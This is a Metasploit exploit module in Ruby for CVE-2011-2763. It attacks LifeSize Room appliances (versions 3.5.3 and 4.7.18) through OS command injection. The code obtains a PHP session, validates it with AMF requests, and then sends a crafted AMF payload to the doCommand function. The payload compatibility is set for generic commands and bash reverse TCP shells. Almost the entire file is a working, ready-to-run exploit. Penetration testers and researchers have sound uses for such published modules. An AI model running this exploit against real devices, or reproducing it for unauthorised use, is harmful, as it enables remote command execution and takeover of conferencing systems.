##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LifeSize Room Command Injection',
      'Description'    => %q{
          This module exploits a vulnerable resource in LifeSize
        Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
        Room is an appliance and thus the environment is limited
        resulting in a small set of payload options.
      },
      'Author'	=>
        [
          # SecureState R&D Team - Special Thanks To Chris Murrey
          'Spencer McIntyre',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-2763' ],
          [ 'OSVDB', '75212' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 65535,	# limited by the two byte size in the AMF encoding
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic bash-tcp',
            }
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => '2011-07-13',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    ))
  end

  def exploit
    print_status("Requesting PHP Session...")
    res = send_request_cgi({
      'encode'    => false,
      'uri'       => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
      'method'    => 'GET',
    }, 10)

    if res.nil? || res.get_cookies.empty?
      fail_with(Failure::NotFound, 'Could not obtain a Session ID')
    end

    sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]

    headers = {
      'Cookie'        => sessionid,
      'Content-Type'  => 'application/x-amf',
    }

    print_status("Validating PHP Session...")

    data  = "\x00\x00\x00\x00\x00\x02\x00\x1b"
    data << "LSRoom_Remoting.amfphpLogin"
    data << "\x00\x02/1\x00\x00\x00"
    data << "\x05\x0a\x00\x00\x00\x00\x00\x17"
    data << "LSRoom_Remoting.getHost"
    data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"

    res = send_request_cgi({
        'encode'    => false,
        'uri'       => '/gateway.php',
        'data'      => data,
        'method'    => 'POST',
        'headers'   => headers,
    }, 10)

    if not res
      fail_with(Failure::NotFound, 'Could not validate the Session ID')
      return
    end

    print_status("Sending Malicious POST Request...")

    # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
    amf_data =  "\x00\x00\x00\x00\x00\x01\x00\x19"
    amf_data << "LSRoom_Remoting.doCommand"
    amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"
    amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"
    amf_data << "\x02\x00\x0dupgradeStatus"

    res = send_request_cgi({
        'encode'    => false,
        'uri'       => '/gateway.php?' << sessionid,
        'data'      => amf_data,
        'method'    => 'POST',
        'headers'   => headers
    }, 10)
  end
end
